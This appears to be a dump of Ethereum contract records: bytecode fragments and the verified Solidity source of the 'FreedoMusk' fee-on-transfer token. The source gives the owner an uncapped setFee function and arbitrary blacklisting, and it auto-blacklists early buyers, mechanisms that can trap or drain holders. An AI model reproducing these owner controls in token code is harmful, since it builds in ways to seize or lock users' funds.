a757600080fd5b505af11580156103bb573d6000803e3d6000fd5b505050507f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0268787876040516103f293929190610d7e565b60405180910390a150505050505050565b60025481565b60045481565b61041761048c565b6104335760405162461bcd60e51b81526004016101dc90610c68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600080546001600160a01b03166104a16107b2565b6001600160a01b031614905090565b6000806104bf61010084610d9d565b905060006104cf61010085610dd8565b60009283526005602052604090922054600190921b9182169091149392505050565b6104f961048c565b6105155760405162461bcd60e51b81526004016101dc90610c68565b6004544210158061053457506001546001600160a01b03838116911614155b6105505760405162461bcd60e51b81526004016101dc90610c9d565b6040516370a0823160e01b815282906000906001600160a01b038316906370a0823190610581903090600401610b09565b60206040518083038186803b15801561059957600080fd5b505afa1580156105ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d191906109ef565b90506102226001600160a01b03831684836107b6565b60056020526000908152604090205481565b61060161048c565b61061d5760405162461bcd60e51b81526004016101dc90610c68565b61062681610638565b50565b6001546001600160a01b031681565b6001600160a01b03811661065e5760405162461bcd60e51b81526004016101dc90610ba5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600081815b85518110156107695760008682815181106106e957634e487b7160e01b600052603260045260246000fd5b6020026020010151905080831161072a57828160405160200161070d929190610a9a565b604051602081830303815290604052805190602001209250610756565b808360405160200161073d929190610a9a565b6040516020818303038152906040528051906020012092505b508061076181610db1565b9150506106be565b509092149392505050565b600061078261010083610d9d565b9050600061079261010084610dd8565b6000928352600560205260409092208054600190931b9092179091555050565b3390565b61080c8363a9059cbb60e01b84846040516024016107d5929190610b41565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610811565b505050565b610823826001600160a01b03166108f5565b61083f5760405162461bcd60e51b81526004016101dc90610d47565b600080836001600160a01b03168360405161085a9190610aa8565b6000604051808303816000865af19150503d8060008114610897576040519150601f19603f3d011682016040523d82523d6000602084013e61089c565b606091505b5091509150816108be5760405162461bcd60e51b81526004016101dc90610c33565b80511561022257808060200190518101906108d991906109b7565b6102225760405162461bcd60e51b81526004016101dc90610cfd565b3b151590565b60006020828403121561090c578081fd5b813561091781610e02565b9392505050565b60006020828403121561092f578081fd5b815161091781610e02565b6000806040838503121561094c578081fd5b823561095781610e02565b9150602083013561096781610e02565b809150509250929050565b60008060008060808587031215610987578182fd5b843561099281610e02565b935060208501356109a281610e02565b93969395505050506040820135916060013590565b6000602082840312156109c8578081fd5b81518015158114610917578182fd5b6000602082840312156109e8578081fd5b5035919050565b600060208284031215610a00578081fd5b5051919050565b600080600080600060808688031215610a1e578081fd5b853594506020860135610a3081610e02565b935060408601359250606086013567ffffffffffffffff80821115610a53578283fd5b818801915088601f830112610a66578283fd5b813581811115610a74578384fd5b8960208083028501011115610a87578384fd5b9699959850939650602001949392505050565b918252602082015260400190565b60008251815b81811015610ac85760208186018101518583015201610aae565b81811115610ad65782828501525b509190910192915050565b92835260609190911b6bffffffffffffffffffffffff19166020830152603482015260540190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b90815260200190565b60208082526018908201527f417374726f64726f703a20496e76616c69642070726f6f660000000000000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526028908201527f4d65726b6c654469737472696275746f723a2044726f7020616c72656164792060408201526731b630b4b6b2b21760c11b606082015260800190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b602080825260169082015275105cdd1c9bd91c9bdc0e88139bdd08195e1c1a5c995960521b604082015260600190565b602080825260169082015275105cdd1c9bd91c9bdc0e88125b9a5d1a585b1a5e995960521b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b9283526001600160a01b03919091166020830152604082015260600190565b600082610dac57610dac610dec565b500490565b6000600019821415610dd157634e487b7160e01b81526011600452602481fd5b5060010190565b600082610de757610de7610dec565b500690565b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461062657600080fdfea2646970667358221220959b7ba24d6abd92c96b433dc6a7e27035f882b9a698895642802e62df7d120d64736f6c63430008010033
{"success": true, "error": null, "results": {}}
3,815
0x5EfCA8f8A857dC2869C6e7243C9cc8c17161f7Ce
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ // SPDX-License-Identifier: unlicense /* * * FreedoMusk */ // FreedoMusk ETH // Version: 20220303001 // Website: https://Freedomusk.com/ // Twitter: https://twitter.com/FreedoMuskToken (@FreedoMuskToken) // TG: https://t.me/FreedoMusk_Token_Official pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FreedoMusk is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "freedom of speech";// string private constant _symbol = "FreedoMusk";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 7777777 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 3;// uint256 private _taxFeeOnBuy = 4;// //Sell Fee uint256 private _redisFeeOnSell = 3;// uint256 private _taxFeeOnSell = 12;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xb1DcD1D669F8d3Ec6e0D0d16696AEa02241811e1);// address payable private _marketingAddress = payable(0xE93Ce66da49221BB8C2150EdD347c9a8D47352C0);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 50000 * 10**9; // uint256 public _maxWalletSize = 99999 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock + 2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.mul(4).div(22)); _marketingAddress.transfer(amount.mul(18).div(22)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613066565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134c3565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fc6565b610869565b604051610264919061348d565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f91906134a8565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba91906136a5565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f73565b6108bc565b6040516102f7919061348d565b60405180910390f35b34801561030c57600080fd5b50610315610995565b60405161032291906136a5565b60405180910390f35b34801561033757600080fd5b5061034061099b565b60405161034d919061371a565b60405180910390f35b34801561036257600080fd5b5061036b6109a4565b6040516103789190613472565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ed9565b6109ca565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130af565b610aba565b005b3480156103df57600080fd5b506103e8610b6b565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ed9565b610c3c565b60405161041e91906136a5565b60405180910390f35b34801561043357600080fd5b5061043c610c8d565b005b34801561044a57600080fd5b50610465600480360381019061046091906130dc565b610de0565b005b34801561047357600080fd5b5061047c610e7f565b60405161048991906136a5565b60405180910390f35b34801561049e57600080fd5b506104a7610e85565b6040516104b49190613472565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df91906130af565b610eae565b005b3480156104f257600080fd5b506104fb610f67565b60405161050891906136a5565b60405180910390f35b34801561051d57600080fd5b50610526610f6d565b60405161053391906134c3565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130dc565b610faa565b005b34801561057157600080fd5b5061058c60048036038101906105879190613109565b611049565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fc6565b611100565b6040516105c2919061348d565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ed9565b61111e565b6040516105ff919061348d565b60405180910390f35b34801561061457600080fd5b5061061d61113e565b005b34801561062b57600080fd5b5061064660048036038101906106419190613006565b611217565b005b34801561065457600080fd5b5061065d611351565b60405161066a91906136a5565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f33565b611357565b6040516106a791906136a5565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130dc565b6113de565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ed9565b61147d565b005b61070a61163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613605565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a98565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139f1565b91505061079a565b5050565b60606040518060400160405280601181526020017f66726565646f6d206f6620737065656368000000000000000000000000000000815250905090565b600061087d61087661163f565b8484611647565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000661ba1d8d33a2a00905090565b60006108c9848484611812565b61098a846108d561163f565b61098585604051806060016040528060288152602001613f4660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b61163f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f29092919063ffffffff16565b611647565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d261163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5690613605565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac261163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4690613605565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bac61163f565b73ffffffffffffffffffffffffffffffffffffffff161480610c225750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0a61163f565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2b57600080fd5b6000479050610c3981612256565b50565b6000610c86600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612377565b9050919050565b610c9561163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1990613605565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de861163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6c90613605565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb661163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a90613605565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600a81526020017f46726565646f4d75736b00000000000000000000000000000000000000000000815250905090565b610fb261163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690613605565b60405180910390fd5b8060198190555050565b61105161163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d590613605565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111461110d61163f565b8484611812565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661117f61163f565b73ffffffffffffffffffffffffffffffffffffffff1614806111f55750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111dd61163f565b73ffffffffffffffffffffffffffffffffffffffff16145b6111fe57600080fd5b600061120930610c3c565b9050611214816123e5565b50565b61121f61163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390613605565b60405180910390fd5b60005b8383905081101561134b5781600560008686858181106112d2576112d1613a98565b5b90506020020160208101906112e79190612ed9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611343906139f1565b9150506112af565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e661163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90613605565b60405180910390fd5b8060188190555050565b61148561163f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990613605565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611582576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157990613565565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90613685565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171e90613585565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180591906136a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611882576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187990613645565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e9906134e5565b60405180910390fd5b60008111611935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192c90613625565b60405180910390fd5b61193d610e85565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ab575061197b610e85565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef157601660149054906101000a900460ff16611a3a576119cc610e85565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3090613505565b60405180910390fd5b5b601754811115611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7690613545565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b235750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b59906135a5565b60405180910390fd5b6002600854611b7191906137db565b43111